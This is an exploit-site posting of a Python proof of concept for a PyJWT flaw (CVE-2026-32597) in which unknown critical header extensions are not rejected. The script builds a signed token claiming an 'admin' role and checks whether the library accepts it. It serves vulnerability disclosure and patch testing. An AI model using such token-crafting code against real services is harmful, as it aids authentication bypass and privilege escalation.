PyJWT < 2.12.0 crit header bypass / Insufficient crit validation

#!/usr/bin/env python3 # Exploit Title: PyJWT < 2.12.0 crit header bypass / Insufficient crit validation # CVE: CVE-2026-32597 # Date: 2026-03 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://github.com/jpadilla/pyjwt # Software Link: https://pypi.org/project/PyJWT/ # Affected: PyJWT < 2.12.0 # Tested on: # Category: Authentication Bypass # Platform: Python # Exploit Type: Proof of Concept # CVSS: 7.5 # CWE : CWE-345, CWE-863 # Description: PyJWT does not reject JWTs containing unknown critical header parameters (crit) # Fixed in: PyJWT 2.12.0 # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Notes: Demonstrates acceptance of token with unknown critical extension print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-32597 • PyJWT crit header bypass ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import jwt import hmac import hashlib import base64 import json def b64url_encode(data): if isinstance(data, str): data = data.encode('utf-8') encoded = base64.urlsafe_b64encode(data).rstrip(b'=') return encoded.decode('utf-8') header = { "alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa-and-binding" } payload = { "sub": "attacker", "role": "admin", "exp": 9999999999 } secret = b"secret-key" header_str = json.dumps(header, separators=(',', ':')) payload_str = json.dumps(payload, separators=(',', ':')) h = b64url_encode(header_str) p = b64url_encode(payload_str) signing_input = f"{h}.{p}".encode('utf-8') signature = hmac.new(secret, signing_input, hashlib.sha256).digest() sig = b64url_encode(signature) malicious_token = f"{h}.{p}.{sig}" print("Generated malicious token:") print(malicious_token) print("\n") print("Decoding with PyJWT (vulnerable versions accept this token):") try: decoded = jwt.decode( malicious_token, secret, algorithms=["HS256"], options={"verify_signature": True} ) print("TOKEN ACCEPTED (vulnerable behavior):") print(decoded) except jwt.exceptions.InvalidTokenError as e: print("TOKEN REJECTED (correct / patched behavior):") print(e) except Exception as e: print("Unexpected error:") print(e)

References:

https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f
https://datatracker.ietf.org/doc/html/rfc7515#section-4.1.11


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top